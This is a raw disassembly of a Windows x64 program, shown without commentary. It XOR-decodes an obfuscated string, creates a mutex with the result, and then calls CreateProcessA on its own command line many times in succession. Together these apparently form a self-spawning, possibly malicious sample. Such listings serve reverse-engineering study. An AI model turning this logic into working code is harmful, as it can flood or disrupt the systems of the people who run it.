mov eax, ecx
mov byte [rsp + 0x1932], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1933], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1934], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1935], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1936], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1937], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1938], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1939], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x193a], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x193b], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x193c], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x193d], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x193e], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x193f], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1940], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1941], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1942], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1943], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1944], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1945], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1946], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1947], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1948], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1949], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x194a], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x194b], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x194c], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x194d], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x194e], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x194f], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x2f
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1950], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x30
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1951], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x31
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1952], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x32
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1953], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x33
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1954], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x34
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1955], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x35
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1956], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x36
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1957], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x37
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1958], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x38
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1959], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x39
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x195a], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x3a
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x195b], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x3b
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x195c], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x3c
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x195d], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x3d
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x195e], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x3e
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x195f], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x3f
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1960], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x40
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1961], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x41
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1962], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x42
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1963], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x43
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1964], al
movsx eax, byte [rsp + 0x1920]
mov ecx, 1
imul rcx, rcx, 0x44
lea rdx, str.CVhnIjfUtxUvddaDADADasdasdasdasdasNk67f6v9t9BH1U9Qr3mZZQWRm2AClp6Bwu8
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1965], al
lea rax, [rsp + 0x1966]
lea rax, [rsp + 0x1966]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x200], 0
jmp 0x14004183f
mov rax, qword [rsp + 0x200]
inc rax
mov qword [rsp + 0x200], rax
cmp qword [rsp + 0x200], 0x45
jae 0x1400418a9
mov rax, qword [rsp + 0x200]
lea rax, [rsp + rax + 0x1921]
mov qword [rsp + 0x4e8], rax
mov rax, qword [rsp + 0x4e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1920]
xor eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x200]
lea rax, [rsp + rax + 0x1921]
mov qword [rsp + 0x4f0], rax
mov rax, qword [rsp + 0x4f0]
mov cl, byte [rsp + 0xd0]
mov byte [rax], cl
jmp 0x14004182c
mov eax, 0x45
imul rax, rax, 1
lea rax, [rsp + rax + 0x1921]
mov qword [rsp + 0x4f8], rax
mov rax, qword [rsp + 0x4f8]
mov byte [rax], 0
lea rax, [rsp + 0x1921]
mov qword [rsp + 0x500], rax
mov r8, qword [rsp + 0x500]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x400], rax
jmp 0x140041904
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov qword [rsp + 0x1040], 0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x160]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x1e50]
mov rdi, rax
xor eax, eax
mov ecx, 0xb0
rep stosb byte [rdi], al
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
